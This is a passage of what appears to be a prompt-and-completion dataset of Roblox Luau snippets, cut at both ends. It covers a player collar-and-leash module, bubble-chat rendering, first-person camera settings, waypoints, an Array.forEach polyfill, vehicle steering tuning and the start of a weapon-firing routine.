character = victim.Character\n--\tlocal animationScript = character:WaitForChild(\"Animate\")\n--\tanimationScript.idle.Animation1.AnimationId = \"rbxassetid://\".. tostring(script.AnimationsSettings.IdleAnim.Value)\n--\tanimationScript.idle.Animation2.Weight.Value = 0\n--\t\n--\tanimationScript.jump.JumpAnim.AnimationId = \"rbxassetid://\".. tostring(script.AnimationsSettings.JumpAnim.Value)\n--\tanimationScript.fall.FallAnim.AnimationId = \"rbxassetid://\".. tostring(script.AnimationsSettings.FallAnim.Value)\n--\t\n--\tanimationScript.run.RunAnim.AnimationId = \"rbxassetid://\".. tostring(script.AnimationsSettings.CrawlAnim.Value)\n--\tanimationScript.walk.WalkAnim.AnimationId = \"rbxassetid://\".. tostring(script.AnimationsSettings.CrawlAnim.Value)\n--end", "completion": "\n\nfunction module.MakeCollar(owner,victim)\n\t--crea collare ed attachment\n\tlocal attachment0 = GiveCollarGetAttachment(victim)\n\tlocal attachment1 = AddAttachmentToArm(owner)\n\t--\n\t\n\t--crea leash\n\tlocal newRope = MakeLeash(attachment0, attachment1)\n\t--\n\t\n\t--aggiungi il controllo del giocatore\n\tAddPlayerController(victim, owner, newRope.RemoveCollar)\n\t--\n\t\n\t--finisci con il controllo della rimozione\n\tAddCollarRemover(victim,owner,newRope.RemoveCollar)\n\t--\n\t\n\t--cambia le animazioni\n\t--SwapToCollarAnimation(victim)\n\t--\nend\n\nreturn module\n"} +{"prompt": "-- Instance options", "completion": "\nlocal DEFAULT_ATTACHMENT_INSTANCE: string = \"DmgPoint\"\nlocal DEFAULT_GROUP_NAME_INSTANCE: string = \"Group\"\n"} +{"prompt": "-- init chat bubble tables", "completion": "\nlocal function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)\n\tthis.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)\n\tthis.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)\n\tthis.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)\nend\n\ninitChatBubbleType(BubbleColor.WHITE,\t\"ui/dialog_white\",\t\"ui/chatBubble_white_notify_bkg\", \tfalse,\tRect.new(5,5,15,15))\ninitChatBubbleType(BubbleColor.BLUE,\t\"ui/dialog_blue\",\t\"ui/chatBubble_blue_notify_bkg\",\ttrue, \tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.RED,\t\t\"ui/dialog_red\",\t\"ui/chatBubble_red_notify_bkg\",\t\ttrue,\tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.GREEN,\t\"ui/dialog_green\",\t\"ui/chatBubble_green_notify_bkg\",\ttrue,\tRect.new(7,7,33,33))\n\nfunction this:SanitizeChatLine(msg)\n\tif getMessageLength(msg) > MaxChatMessageLengthExclusive then\n\t\tlocal byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1\n\t\treturn string.sub(msg, 1, byteOffset)\n\telse\n\t\treturn msg\n\tend\nend\n\nlocal function createBillboardInstance(adornee)\n\tlocal billboardGui = Instance.new(\"BillboardGui\")\n\tbillboardGui.Adornee = adornee\n\tbillboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, 1.5, 2)\n\tbillboardGui.Parent = BubbleChatScreenGui\n\n\tlocal billboardFrame = Instance.new(\"Frame\")\n\tbillboardFrame.Name = \"BillboardFrame\"\n\tbillboardFrame.Size = UDim2.new(1, 0, 1, 0)\n\tbillboardFrame.Position = UDim2.new(0, 0, -0.5, 0)\n\tbillboardFrame.BackgroundTransparency = 1\n\tbillboardFrame.Parent = billboardGui\n\n\tlocal billboardChildRemovedCon = nil\n\tbillboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()\n\t\tif #billboardFrame:GetChildren() <= 1 then\n\t\t\tbillboardChildRemovedCon:disconnect()\n\t\t\tbillboardGui:Destroy()\n\t\tend\n\tend)\n\n\tthis:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame\n\n\treturn billboardGui\nend\n\nfunction this:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tif instance and not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tif not onlyCharacter then\n\t\t\tif instance:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(instance)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tif instance:IsA(\"Model\") then\n\t\t\tlocal head = instance:FindFirstChild(\"Head\")\n\t\t\tif head and head:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(head)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function distanceToBubbleOrigin(origin)\n\tif not origin then return 100000 end\n\n\treturn (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude\nend\n\nlocal function isPartOfLocalPlayer(adornee)\n\tif adornee and PlayersService.LocalPlayer.Character then\n\t\treturn adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)\n\tend\nend\n\nfunction this:SetBillboardLODNear(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = true\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = false\nend\n\nfunction this:SetBillboardLODDistant(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(4, 0, 3, 0)\n\tbillboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = false\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = true\nend\n\nfunction this:SetBillboardLODVeryFar(billboardGui)\n\tbillboardGui.Enabled = false\nend\n\nfunction this:SetBillboardGuiLOD(billboardGui, origin)\n\tif not origin then return end\n\n\tif origin:IsA(\"Model\") then\n\t\tlocal head = origin:FindFirstChild(\"Head\")\n\t\tif not head then origin = origin.PrimaryPart\n\t\telse origin = head end\n\tend\n\n\tlocal bubbleDistance = distanceToBubbleOrigin(origin)\n\n\tif bubbleDistance < NEAR_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODNear(billboardGui)\n\telseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODDistant(billboardGui)\n\telse\n\t\tthis:SetBillboardLODVeryFar(billboardGui)\n\tend\nend\n\nfunction this:CameraCFrameChanged()\n\tfor index, value in pairs(this.CharacterSortedMsg:GetData()) do\n\t\tlocal playerBillboardGui = value[\"BillboardGui\"]\n\t\tif playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end\n\tend\nend\n\nfunction this:CreateBubbleText(message, shouldAutoLocalize)\n\tlocal bubbleText = Instance.new(\"TextLabel\")\n\tbubbleText.Name = \"BubbleText\"\n\tbubbleText.BackgroundTransparency = 1\n\n\tif UserFixBubbleChatText then\n\t\tbubbleText.Size = UDim2.fromScale(1, 1)\n\telse\n\t\tbubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0)\n\t\tbubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0)\n\tend\n\n\tbubbleText.Font = CHAT_BUBBLE_FONT\n\tbubbleText.ClipsDescendants = true\n\tbubbleText.TextWrapped = true\n\tbubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE\n\tbubbleText.Text = message\n\tbubbleText.Visible = false\n\tbubbleText.AutoLocalize = shouldAutoLocalize\n\n\tif UserFixBubbleChatText then\n\t\tlocal padding = Instance.new(\"UIPadding\")\n\t\tpadding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING)\n\t\tpadding.Parent = bubbleText\n\tend\n\n\treturn bubbleText\nend\n\nfunction this:CreateSmallTalkBubble(chatBubbleType)\n\tlocal smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()\n\tsmallTalkBubble.Name = \"SmallTalkBubble\"\n\tsmallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)\n\tsmallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0)\n\tsmallTalkBubble.Visible = false\n\tlocal text = this:CreateBubbleText(\"...\")\n\ttext.TextScaled = true\n\ttext.TextWrapped = false\n\ttext.Visible = true\n\ttext.Parent = smallTalkBubble\n\n\treturn smallTalkBubble\nend\n\nfunction this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)\n\tlocal bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo\n\tlocal bubbleQueueSize = bubbleQueue:Size()\n\tlocal bubbleQueueData = bubbleQueue:GetData()\n\tif #bubbleQueueData <= 1 then return end\n\n\tfor index = (#bubbleQueueData - 1), 1, -1 do\n\t\tlocal value = bubbleQueueData[index]\n\t\tlocal bubble = value.RenderBubble\n\t\tif not bubble then return end\n\t\tlocal bubblePos = bubbleQueueSize - index + 1\n\n\t\tif bubblePos > 1 then\n\t\t\tlocal tail = bubble:FindFirstChild(\"ChatBubbleTail\")\n\t\t\tif tail then tail:Destroy() end\n\t\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\t\tif bubbleText then bubbleText.TextTransparency = 0.5 end\n\t\tend\n\n\t\tlocal udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,\n\t\t\t\t\t\t\t\t\t1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT)\n\t\tbubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)\n\t\tcurrentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT\n\tend\nend\n\nfunction this:DestroyBubble(bubbleQueue, bubbleToDestroy)\n\tif not bubbleQueue then return end\n\tif bubbleQueue:Empty() then return end\n\n\tlocal bubble = bubbleQueue:Front().RenderBubble\n\tif not bubble then\n\t\tbubbleQueue:PopFront()\n\t \treturn\n\tend\n\n\tspawn(function()\n\t\twhile bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do\n\t\t\twait()\n\t\tend\n\n\t\tbubble = bubbleQueue:Front().RenderBubble\n\n\t\tlocal timeBetween = 0\n\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\tlocal bubbleTail = bubble:FindFirstChild(\"ChatBubbleTail\")\n\n\t\twhile bubble and bubble.ImageTransparency < 1 do\n\t\t\ttimeBetween = wait()\n\t\t\tif bubble then\n\t\t\t\tlocal fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED\n\t\t\t\tbubble.ImageTransparency = bubble.ImageTransparency + fadeAmount\n\t\t\t\tif bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end\n\t\t\t\tif bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end\n\t\t\tend\n\t\tend\n\n\t\tif bubble then\n\t\t\tbubble:Destroy()\n\t\t\tbubbleQueue:PopFront()\n\t\tend\n\tend)\nend\n\nfunction this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize)\n\tif not instance then return end\n\n\tif not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tthis:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tend\n\n\tlocal billboardGui = this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"]\n\tif billboardGui then\n\t\tlocal chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()\n\t\tchatBubbleRender.Visible = false\n\t\tlocal bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize)\n\n\t\tbubbleText.Parent = chatBubbleRender\n\t\tchatBubbleRender.Parent = billboardGui.BillboardFrame\n\n\t\tline.RenderBubble = chatBubbleRender\n\n\t\tlocal currentTextBounds = TextService:GetTextSize(\n\t\t\t\tbubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,\n\t\t\t\tVector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))\n\t\tlocal numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT)\n\n\t\tif UserFixBubbleChatText then\n\t\t\t-- Need to use math.ceil to round up on retina displays\n\t\t\tlocal width = math.ceil(currentTextBounds.X + CHAT_BUBBLE_PADDING * 2)\n\t\t\tlocal height = numOflines * CHAT_BUBBLE_LINE_HEIGHT\n\n\t\t\t-- prep chat bubble for tween\n\t\t\tchatBubbleRender.Size = UDim2.fromOffset(0, 0)\n\t\t\tchatBubbleRender.Position = UDim2.fromScale(0.5, 1)\n\n\t\t\tchatBubbleRender:TweenSizeAndPosition(\n\t\t\t\tUDim2.fromOffset(width, height),\n\t\t\t\tUDim2.new(0.5, -width / 2, 1, -height),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Elastic,\n\t\t\t\t0.1,\n\t\t\t\ttrue,\n\t\t\t\tfunction()\n\t\t\t\t\tbubbleText.Visible = true\n\t\t\t\tend\n\t\t\t)\n\n\t\t\t-- todo: remove when over max bubbles\n\t\t\tthis:SetBillboardGuiLOD(billboardGui, line.Origin)\n\t\t\tthis:UpdateChatLinesForOrigin(line.Origin, -height)\n\t\telse\n\t\t\tlocal bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1)\n\n\t\t\t-- prep chat bubble for tween\n\t\t\tchatBubbleRender.Size = UDim2.new(0, 0, 0, 0)\n\t\t\tchatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0)\n\n\t\t\tlocal newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT\n\n\t\t\tchatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t\t\tUDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,\n\t\t\t\t\t\t\t\t\t\t\t\t\tfunction() bubbleText.Visible = true end)\n\n\t\t\t-- todo: remove when over max bubbles\n\t\t\tthis:SetBillboardGuiLOD(billboardGui, line.Origin)\n\t\t\tthis:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)\n\t\tend\n\n\t\tdelay(line.BubbleDieDelay, function()\n\t\t\tthis:DestroyBubble(fifo, chatBubbleRender)\n\t\tend)\n\tend\nend\n\nfunction this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)\n\n\tif not this:BubbleChatEnabled() then return end\n\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\n\tlocal line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)\n\n\tif sourcePlayer and line.Origin then\n\t\tlocal fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo\n\t\tfifo:PushBack(line)\n\t\t--Game chat (badges) won't show up here\n\t\tthis:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false)\n\tend\nend\n\nfunction this:OnGameChatMessage(origin, message, color)\n\t-- Prevents conflicts with the new bubble chat if it is enabled\n\tif UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then\n\t\treturn\n\tend\n\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)\n\n\tlocal bubbleColor = BubbleColor.WHITE\n\n\tif color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE\n\telseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN\n\telseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\tlocal line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)\n\n\tthis.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)\n\tif UserShouldLocalizeGameChatBubble then\n\t\tthis:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true)\n\telse\n\t\tthis:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false)\n\tend\nend\n\nfunction this:BubbleChatEnabled()\n\tif UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then\n\t\treturn false\n\tend\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatEnabled ~= nil then\n\t\t\t\treturn chatSettings.BubbleChatEnabled\n\t\t\tend\n\t\tend\n\tend\n\treturn PlayersService.BubbleChat\nend\n\nfunction this:ShowOwnFilteredMessage()\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\treturn chatSettings.ShowUserOwnFilteredMessage\n\t\tend\n\tend\n\treturn false\nend\n\nfunction findPlayer(playerName)\n\tfor i,v in pairs(PlayersService:GetPlayers()) do\n\t\tif v.Name == playerName then\n\t\t\treturn v\n\t\tend\n\tend\nend\n\nChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)\n\nlocal cameraChangedCon = nil\nif game.Workspace.CurrentCamera then\n\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):connect(function(prop) this:CameraCFrameChanged() end)\nend\n\ngame.Workspace.Changed:connect(function(prop)\n\tif prop == \"CurrentCamera\" then\n\t\tif cameraChangedCon then cameraChangedCon:disconnect() end\n\t\tif game.Workspace.CurrentCamera then\n\t\t\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):connect(function(prop) this:CameraCFrameChanged() end)\n\t\tend\n\tend\nend)\n\n\nlocal AllowedMessageTypes = nil\n\nfunction getAllowedMessageTypes()\n\tif AllowedMessageTypes then\n\t\treturn AllowedMessageTypes\n\tend\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatMessageTypes then\n\t\t\t\tAllowedMessageTypes = chatSettings.BubbleChatMessageTypes\n\t\t\t\treturn AllowedMessageTypes\n\t\t\tend\n\t\tend\n\t\tlocal chatConstants = clientChatModules:FindFirstChild(\"ChatConstants\")\n\t\tif chatConstants then\n\t\t\tchatConstants = require(chatConstants)\n\t\t\tAllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}\n\t\tend\n\t\treturn AllowedMessageTypes\n\tend\n\treturn {\"Message\", \"Whisper\"}\nend\n\nfunction checkAllowedMessageType(messageData)\n\tlocal allowedMessageTypes = getAllowedMessageTypes()\n\tfor i = 1, #allowedMessageTypes do\n\t\tif allowedMessageTypes[i] == messageData.MessageType then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal ChatEvents = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal OnMessageDoneFiltering = ChatEvents:WaitForChild(\"OnMessageDoneFiltering\")\nlocal OnNewMessage = ChatEvents:WaitForChild(\"OnNewMessage\")\n\nOnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\n\tif not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then\n\t\tif messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then\n\t\t\treturn\n\t\tend\n\tend\n\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n\nOnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\n\tif messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then\n\t\treturn\n\tend\n\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n"} +{"prompt": "-- you can mess with these settings", "completion": "\nCanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson\nCanViewBody = true \t\t-- whether you see your body\nSensitivity = 0.6\t\t-- anything higher would make looking up and down harder; recommend anything between 0~1\nSmoothness = 0.05\t\t-- recommend anything between 0~1\nFieldOfView = 80\t\t-- fov\nHeadOffset = CFrame.new(0,0.7,0) -- how far your camer is from your head\n\nlocal cam = game.Workspace.CurrentCamera\nlocal player = players.LocalPlayer\nlocal m = player:GetMouse()\nm.Icon = \"http://www.roblox.com/asset/?id=569021388\" -- replaces mouse icon\nlocal character = player.Character or player.CharacterAdded:wait()\nlocal human = character.Humanoid\nlocal humanoidpart = character.HumanoidRootPart\n\nlocal head = character:WaitForChild(\"Head\")\nlocal CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p \nlocal AngleX,TargetAngleX = 0,0\nlocal AngleY,TargetAngleY = 0,0\n\nlocal running = true\nlocal freemouse = false\nlocal defFOV = FieldOfView\n\nlocal w, a, s, d, lshift = false, false, false, false, false\n"} +{"prompt": "-- Includes all waypoints arranged in order in which player will move through them.", "completion": "\nlocal waypoints = {\n\twaypointFolder.Start,\n\twaypointFolder.Point1,\n\twaypointFolder.Point2,\n\twaypointFolder.Point3,\n\twaypointFolder.Point4,\n\twaypointFolder.Point5,\n\twaypointFolder.Point6,\n\twaypointFolder.Point7,\n\twaypointFolder.Point8,\n\twaypointFolder.Point9,\n\twaypointFolder.Point10,\n\twaypointFolder.Point11,\n\twaypointFolder.Point12,\n\twaypointFolder.Point13,\n}\n"} +{"prompt": "-- Implements Javascript's `Array.prototype.forEach` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach", "completion": "\nreturn function(t: Array, callback: callbackFn | callbackFnWithThisArg, thisArg: U?): ()\n\tif _G.__DEV__ then\n\t\tif typeof(t) ~= \"table\" then\n\t\t\terror(string.format(\"Array.forEach called on %s\", typeof(t)))\n\t\tend\n\t\tif typeof(callback) ~= \"function\" then\n\t\t\terror(\"callback is not a function\")\n\t\tend\n\tend\n\n\tlocal len = #t\n\tlocal k = 1\n\n\twhile k <= len do\n\t\tlocal kValue = t[k]\n\n\t\tif thisArg ~= nil then\n\t\t\t(callback :: callbackFnWithThisArg)(thisArg, kValue, k, t)\n\t\telse\n\t\t\t(callback :: callbackFn)(kValue, k, t)\n\t\tend\n\n\t\tif #t < len then\n\t\t\t-- don't iterate on removed items, don't iterate more than original length\n\t\t\tlen = #t\n\t\tend\n\t\tk += 1\n\tend\nend\n"} +{"prompt": "--[[ MAIN FRAME LOCALS ]]", "completion": "--\n\nlocal DrinksFrame = Frame.DrinksFrame\nlocal FoodFrame = Frame.FoodFrame\n"} +{"prompt": "-- Define the function to create and position the part", "completion": "\nlocal function placePart(mouse)\n\t-- Create a new part and position it at the mouse's hit position\n\tlocal newPart = Instance.new(\"Part\")\n\tnewPart.Position = mouse.Hit.Position\n\tnewPart.Parent = game.Workspace\nend\n"} +{"prompt": "--// Variables", "completion": "\nlocal L_1_ = script.Parent\nlocal L_2_ = game.Players.LocalPlayer\nlocal L_3_ = L_2_.Character\nlocal L_4_ = L_2_:GetMouse()\nlocal L_5_ = workspace.CurrentCamera\n\nlocal L_6_ = L_3_:WaitForChild('Torso')\nlocal L_7_ = L_3_:WaitForChild('Head')\nlocal L_8_ = L_3_:WaitForChild('HumanoidRootPart')\nlocal L_9_ = L_8_:WaitForChild('RootJoint')\nlocal L_10_ = L_6_:WaitForChild('Right Hip')\nlocal L_11_ = L_6_:WaitForChild('Left Hip')\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 40\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 38\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .06\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2, p3)\n\tif not p3 then\n\t\tp3 = 0.1;\n\tend;\n\tif typeof(p1) == \"Vector3\" then\n\t\tp1 = CFrame.new(p1);\n\tend;\n\tlocal function v1()\n\t\tlocal v2 = Instance.new(\"Part\");\n\t\tv2.Anchored = true;\n\t\tv2.CanCollide = false;\n\t\tv2.Transparency = 0.65;\n\t\tv2.Color = Color3.fromRGB(255, 255, 255);\n\t\tv2.Material = Enum.Material.SmoothPlastic;\n\t\treturn v2;\n\tend;\n\tlocal v3 = p1 + p2;\n\tlocal v4 = v1();\n\tlocal l__Magnitude__5 = (p1.p - v3.p).Magnitude;\n\tv4.Size = Vector3.new(0.075, 0.075, l__Magnitude__5);\n\tv4.CFrame = CFrame.new(p1.p, v3.p) * CFrame.new(0, 0, -l__Magnitude__5 / 2);\n\tv4.Parent = game.Workspace.CurrentCamera;\n\tlocal v6 = v1();\n\tv6.Color = Color3.fromRGB(46, 255, 10);\n\tv6.Transparency = 0;\n\tv6.Size = Vector3.new(0.2, 0.2, 0.2);\n\tv6.CFrame = p1;\n\tv6.Parent = game.Workspace.CurrentCamera;\n\tlocal v7 = v1();\n\tv7.Color = Color3.fromRGB(255, 16, 16);\n\tv7.Transparency = 0;\n\tv7.Size = Vector3.new(0.2, 0.2, 0.2);\n\tv7.CFrame = CFrame.new(v3.p);\n\tv7.Parent = game.Workspace.CurrentCamera;\n\tu1.Functions.FastTween({ v4, v6, v7 }, {\n\t\tTransparency = 1\n\t}, { p3 }).Completed:Connect(function()\n\t\tv4:Destroy();\n\tend);\nend;\n"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop FadeOutTime number\n\tHow long it takes for the shake to fade out, measured in seconds.\n\n\tDefaults to `1`.\n]=]", "completion": "\n"} +{"prompt": "--[[**\n\tReturns a t.union of each key in the table as a t.literal\n\n\t@param keyTable The table to get keys from\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.keyOf(keyTable)\n\tlocal keys = {}\n\tlocal length = 0\n\tfor key in pairs(keyTable) do\n\t\tlength = length + 1\n\t\tkeys[length] = key\n\tend\n\n\treturn t.literal(table.unpack(keys, 1, length))\nend\n"} +{"prompt": "--------------------[ FIRING FUNCTIONS ]----------------------------------------------", "completion": "\n\nfunction lowerSpread()\n\tif (not loweringSpread) then\n\t\tloweringSpread = true\n\t\tlocal Connection = nil\n\t\tConnection = RS.Heartbeat:connect(function(dt)\n\t\t\tif MB1Down and Firing 